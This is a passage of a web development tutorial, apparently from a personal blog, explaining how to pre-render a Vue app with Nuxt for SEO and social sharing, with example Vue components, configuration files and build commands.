&lt;p>Many websites use JavaScript to continuously update a page&amp;rsquo;s contents while the user views it. From Google&amp;rsquo;s perspective, when is a page &amp;ldquo;done&amp;rdquo; rendering and ready for indexing? With a regular SPA, Google tries to index your page, but you have no guarantee that they&amp;rsquo;ll index it correctly.&lt;/p>
&lt;h2 id="nuxt-to-the-rescue">Nuxt to the rescue&lt;/h2>
&lt;p>On the modern web, social networks and SEO are fairly important, so it would be a huge bummer if using Vue meant that your app couldn&amp;rsquo;t fully integrate with those services.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 250px">



 &lt;a href="https://nuxtjs.org/">
 &lt;img
 
 sizes="(min-width: 768px) 250px, 98vw"
 srcset='https://mtlynch.io/simple-vue-pre-rendered/NuxtJS_Logo_hu_3cc1f1aa31c23bfc.png 300w, https://mtlynch.io/simple-vue-pre-rendered/NuxtJS_Logo.png 400w'
 src="https://mtlynch.io/simple-vue-pre-rendered/NuxtJS_Logo.png" alt="Nuxt.js logo" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>&lt;a href="https://nuxtjs.org/">Nuxt&lt;/a> is the framework that addresses this issue. It adds a layer on top of Vue to move some of the browser&amp;rsquo;s work back to the server. Instead of sending down a bare HTML stub and waiting for client-side JavaScript to render everything, Nuxt pre-processes the page server-side to generate more fully-rendered HTML.&lt;/p>
&lt;h2 id="the-problem-with-server-side-rendering">The problem with server-side rendering&lt;/h2>
&lt;p>Most people run Nuxt from their web server. This is known as &amp;ldquo;server-side rendering.&amp;rdquo; When a user requests a page from the server, Nuxt builds the page on the fly server-side before sending it to the user&amp;rsquo;s browser.&lt;/p>
&lt;p>Server-side rendering cuts down on your app&amp;rsquo;s initial page load because your server is absorbing some of the browser&amp;rsquo;s work. But if all you want is to populate a few HTML tags for social sharing and SEO, it&amp;rsquo;s crazy to add Nuxt and a whole Node.js server to your tech stack.&lt;/p>
&lt;p>One of the biggest strengths of SPAs is that they&amp;rsquo;re just static HTML, CSS, and JavaScript, so they don&amp;rsquo;t require an application server at all. Simple file hosts like Google Cloud Storage and Amazon S3 can host a standard SPA. If you use server-side rendering, you have to graduate from static file hosting to an entire app server, which is more costly and complex.&lt;/p>
&lt;p>Fortunately, there&amp;rsquo;s an alternative to server-side rendering: pre-rendering. Instead of rendering pages on-demand in response to HTTP requests, Nuxt simply renders every page on your site in advance. This process generates static files, so you can still host your app anywhere you can host a standard SPA.&lt;/p>
&lt;h2 id="should-you-use-pre-rendering">Should you use pre-rendering?&lt;/h2>
&lt;p>Pre-rendering is not right for every situation. You&amp;rsquo;ll need to decide what your app needs and whether that requires pre-rendering or server-side rendering or if you should stick with plain Vue. Below, I&amp;rsquo;ve included a few advantages and disadvantages to help you decide when to employ pre-rendering.&lt;/p>
&lt;h3 id="advantages-of-pre-rendering">Advantages of pre-rendering&lt;/h3>
&lt;ul>
&lt;li>Allows you to have unique social sharing cards for each page on your site&lt;/li>
&lt;li>Improves page load time
&lt;ul>
&lt;li>Standard SPAs have to wait until the browser downloads and executes JavaScript before it starts rendering the page. With pre-rendering, users see your page before their browser executes any JavaScript.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="disadvantages-of-pre-rendering">Disadvantages of pre-rendering&lt;/h3>
&lt;ul>
&lt;li>Increases complexity over standard Vue
&lt;ul>
&lt;li>While pre-rendering is less complex than running Nuxt on a Node server, it&amp;rsquo;s more complicated than running a fully client-side Vue app.&lt;/li>
&lt;li>With pre-rendering, you have to mentally track whether code runs server-side or client-side and what context is available at the time the code executes.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Prevents user-generated pages
&lt;ul>
&lt;li>Pre-rendering requires you to know all of your page routes when you build your page. It explicitly &lt;a href="https://nuxtjs.org/guide/routing#dynamic-routes">does not support dynamic routes&lt;/a>.&lt;/li>
&lt;li>If your site features user-generated content and you want, for example, users to have their own URLs after joining (e.g., &lt;code>yoursite.com/users/michael123&lt;/code>), you can&amp;rsquo;t do that with pre-rendering.&lt;/li>
&lt;li>You can work around this by pushing some of your route into URL queries (e.g., &lt;code>yoursite.com/users?id=michael123&lt;/code>) then pulling down the dynamic data client-side, but you still can&amp;rsquo;t generate distinct social sharing tags for those pages.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="a-pre-rendered-hello-world">A pre-rendered &amp;ldquo;Hello, world&amp;rdquo;&lt;/h2>
&lt;p>To demonstrate pre-rendering, I&amp;rsquo;ll show you a basic, pre-rendered &amp;ldquo;Hello, world!&amp;rdquo; app in just three files.&lt;/p>
&lt;p>The only pre-requisite is &lt;a href="https://nodejs.org">Node.js&lt;/a>. I used &lt;a href="https://nodejs.org/dist/v12.13.1/">Node v12.13.1&lt;/a>, which is the latest stable release at the time of this writing.&lt;/p>
&lt;h3 id="pagesindexvue">&lt;code>pages/index.vue&lt;/code>&lt;/h3>
&lt;p>The first file defines a page in the web app. The &lt;code>pages/&lt;/code> folder has special meaning to Nuxt. It pre-renders separate pages for each &lt;code>.vue&lt;/code> file it finds in the &lt;code>pages/&lt;/code> folder. The name &lt;code>index.vue&lt;/code> indicates that this is a root page, so it&amp;rsquo;s what the user sees if they don&amp;rsquo;t specify any path.&lt;/p>
&lt;p>&lt;code>index.vue&lt;/code> generates a simple &amp;ldquo;Hello, world!&amp;rdquo; page that displays a welcome message and a button. To showcase some of Vue&amp;rsquo;s client-side functionality, the button updates its text every time the user clicks on it.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">template&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">h1&lt;/span>&amp;gt;Hello, world!&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">h1&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;I&amp;#39;m an example of a pre-rendered Vue webpage.&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">button&lt;/span> &lt;span style="color:#bbb">v-on:click&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;count++&amp;#34;&lt;/span>&amp;gt;I have been clicked {{ count }} times&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">button&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">template&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">export&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">default&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> data: &lt;span style="color:#6ab825;font-weight:bold">function&lt;/span> () {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> count: &lt;span style="color:#3677a9">0&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="packagejson">&lt;code>package.json&lt;/code>&lt;/h3>
&lt;p>The &lt;code>package.json&lt;/code> file tells Node.js how to build this app:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;name&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;hello-world-vue-pre-rendered&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;dependencies&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;nuxt&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;latest&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;scripts&amp;#34;&lt;/span>: {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;dev&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;nuxt --port 3600&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#34;generate&amp;#34;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#34;nuxt generate&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="nuxtconfigjs">&lt;code>nuxt.config.js&lt;/code>&lt;/h3>
&lt;p>Lastly, Nuxt requires a configuration file, even if it&amp;rsquo;s empty:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Even though we have no Nuxt settings, this file is required.
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="running-hello-world">Running &amp;ldquo;Hello, world&amp;rdquo;&lt;/h3>
&lt;p>You can run this app &lt;a href="https://codesandbox.io/s/mystifying-sutherland-qgw4f">on Codesandbox&lt;/a>:&lt;/p>
&lt;iframe
 src="https://codesandbox.io/embed/mystifying-sutherland-qgw4f?fontsize=14&amp;hidenavigation=1&amp;theme=dark"
 style="width:100%; height:500px; border:0; border-radius: 4px; overflow:hidden;"
 title="mystifying-sutherland-qgw4f"
 sandbox="allow-modals allow-forms allow-popups allow-scripts allow-same-origin"
>&lt;/iframe>
&lt;p>Alternatively, you can run the app on your local machine with the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>git clone https://github.com/mtlynch/hello-world-vue-pre-rendered.git
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> hello-world-vue-pre-rendered
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>git checkout step-1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>npm install
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>npm run dev
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The app will run at &lt;a href="http://localhost:3600">http://localhost:3600&lt;/a>.&lt;/p>
&lt;h3 id="pre-rendering-your-app">Pre-rendering your app&lt;/h3>
&lt;p>When you run &lt;code>npm run dev&lt;/code>, you&amp;rsquo;re using server-side rendering. Node runs a local development server and generates pages on-demand as you request them.&lt;/p>
&lt;p>But I promised you &lt;em>pre-rendered&lt;/em> pages. With pre-rendered pages, you don&amp;rsquo;t even need a web server, because it&amp;rsquo;s a set of static files.&lt;/p>
&lt;p>To pre-render your app, run the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>npm run generate
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you check the &lt;code>dist/&lt;/code> folder, you&amp;rsquo;ll see that Nuxt has pre-rendered your page:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ find ./dist/ -type f
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./dist/.nojekyll
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./dist/200.html
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./dist/index.html
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./dist/_nuxt/7cef7880379068a94897.js
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./dist/_nuxt/b10d0692e6306468ee9f.js
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./dist/_nuxt/cae55ee8b1125819f113.js
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./dist/_nuxt/ee10340617a3beab9da2.js
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>./dist/_nuxt/LICENSES
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can view these through a simple HTTP server, like Python2&amp;rsquo;s SimpleHTTPServer:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> dist
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>python -m SimpleHTTPServer &lt;span style="color:#3677a9">8123&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Python will then spawn a web server that allows you to view your pre-rendered app at &lt;a href="http://localhost:8123">http://localhost:8123&lt;/a>. Later, I&amp;rsquo;ll show you how to &lt;a href="#publishing-your-app">publish this app&lt;/a> to a static file hosting service.&lt;/p>
&lt;h2 id="adding-an-about-page">Adding an About page&lt;/h2>
&lt;p>To make things more interesting, I&amp;rsquo;ll add a second page to this app.&lt;/p>
&lt;h3 id="pagesaboutvue">&lt;code>pages/about.vue&lt;/code>&lt;/h3>
&lt;p>This page uses Vue hooks to display information about how the page was rendered. I&amp;rsquo;ll explain the code in more detail &lt;a href="#understanding-two-versions-of-the-about-page">below&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">template&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">h1&lt;/span>&amp;gt;About this Build&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">h1&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span> &lt;span style="color:#bbb">v-if&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;buildTime&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Nuxt pre-rendered this page at
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">b&lt;/span>&amp;gt;{{ buildTime }}&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">b&lt;/span>&amp;gt; (before the browser ever saw it).
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">template&lt;/span> &lt;span style="color:#bbb">v-else&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Vue generated this page client-side because you navigated here from
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> another route on the same site.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">a&lt;/span> &lt;span style="color:#bbb">href&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/about&amp;#34;&lt;/span>&amp;gt;Refresh the page&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">a&lt;/span>&amp;gt; to see the pre-rendered version.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">template&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> The browser loaded this page at
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">b&lt;/span>&amp;gt;{{ loadTime }}&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">b&lt;/span>&amp;gt;.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">nuxt-link&lt;/span> &lt;span style="color:#bbb">to&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/&amp;#34;&lt;/span>&amp;gt;Home&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">nuxt-link&lt;/span>&amp;gt;&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">div&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">template&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">export&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">default&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> asyncData() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Don&amp;#39;t re-evaluate buildTime when the client loads this page in the
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#999;font-style:italic">// browser.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (!process.client) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> buildTime: &lt;span style="color:#6ab825;font-weight:bold">new&lt;/span> &lt;span style="color:#24909d">Date&lt;/span>().toUTCString(),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Vue evaluates data variables at page render time and again every time the
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#999;font-style:italic">// browser loads this page.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> data: &lt;span style="color:#6ab825;font-weight:bold">function&lt;/span> () {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> loadTime: &lt;span style="color:#6ab825;font-weight:bold">new&lt;/span> &lt;span style="color:#24909d">Date&lt;/span>().toUTCString(),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here&amp;rsquo;s a &lt;a href="https://hello-world-vue-pre-rendered.web.app">live version&lt;/a> of the About page:&lt;/p>
&lt;iframe
 src="https://hello-world-vue-pre-rendered.web.app/about"
 style="width:100%; height:230px; border:1px solid black; border-radius: 4px; overflow:hidden;"
 title="About this Build"
 sandbox="allow-scripts"
>&lt;/iframe>
&lt;h2 id="understanding-two-versions-of-the-about-page">Understanding two versions of the About page&lt;/h2>
&lt;p>The About page demonstrates how Nuxt and Vue work together to create a pre-rendered page. You should see two versions of the page depending on how you navigate the site.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 850px">



 &lt;a href="https://mtlynch.io/simple-vue-pre-rendered/about-versions.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 850px, 98vw"
 srcset='https://mtlynch.io/simple-vue-pre-rendered/about-versions_hu_31239b0bc48886f0.jpg 300w, https://mtlynch.io/simple-vue-pre-rendered/about-versions_hu_9c251d3134f04597.jpg 600w, https://mtlynch.io/simple-vue-pre-rendered/about-versions_hu_85cbb194468918b6.jpg 800w, https://mtlynch.io/simple-vue-pre-rendered/about-versions.jpg 1002w'
 src="https://mtlynch.io/simple-vue-pre-rendered/about-versions.jpg" alt="Screenshot of different versions of About page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The About page displays different information depending on how you arrived to the page.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>If you start on the &lt;a href="https://hello-world-vue-pre-rendered.web.app/about">&lt;code>/about&lt;/code> page&lt;/a>, you should see the version on the left. If you start on the &lt;a href="https://hello-world-vue-pre-rendered.web.app">root page&lt;/a>, then click the &amp;ldquo;about page&amp;rdquo; link, you should see the version on the right.&lt;/p>
&lt;p>Why do you see two different versions of the page? The answer is in the &lt;a href="https://nuxtjs.org/api/">&lt;code>asyncData&lt;/code> hook&lt;/a>. This function executes at two points:&lt;/p>
&lt;ol>
&lt;li>(server-side) When Nuxt pre-renders the page&lt;/li>
&lt;li>(client-side) When the browser navigates to this page from elsewhere on the site&lt;/li>
&lt;/ol>
&lt;p>Here&amp;rsquo;s the definition again:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>asyncData() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Don&amp;#39;t re-evaluate buildTime when the client loads this page in the
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#999;font-style:italic">// browser.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (!process.client) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> buildTime: &lt;span style="color:#6ab825;font-weight:bold">new&lt;/span> &lt;span style="color:#24909d">Date&lt;/span>().toUTCString(),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>},
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When Nuxt pre-renders the site, the server executes the &lt;code>asyncData&lt;/code> method. In the server environment, &lt;code>process.client&lt;/code> is null, so it sets &lt;code>buildTime&lt;/code> to the current time and uses that variable when it pre-renders the page&amp;rsquo;s HTML.&lt;/p>
&lt;p>When you navigate to the &lt;code>/about&lt;/code> path from a different page on the site, the browser executes the &lt;code>asyncData&lt;/code> method on page load. &lt;code>process.client&lt;/code> is now non-null because the code is running client-side, so the method never defines &lt;code>buildTime&lt;/code> and Vue renders the page template for when &lt;code>buildTime&lt;/code> is undefined:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span> &lt;span style="color:#bbb">v-if&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;buildTime&amp;#34;&lt;/span>&amp;gt;...&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">template&lt;/span> &lt;span style="color:#bbb">v-else&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Vue generated this page client-side because you navigated here from another
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> route on the same site.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;&amp;lt;&lt;span style="color:#6ab825;font-weight:bold">a&lt;/span> &lt;span style="color:#bbb">href&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;/about&amp;#34;&lt;/span>&amp;gt;Refresh the page&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">a&lt;/span>&amp;gt; to see the pre-rendered version.&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">p&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#6ab825;font-weight:bold">template&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="pre-rendering-is-only-for-the-first-page">Pre-rendering is only for the first page&lt;/h2>
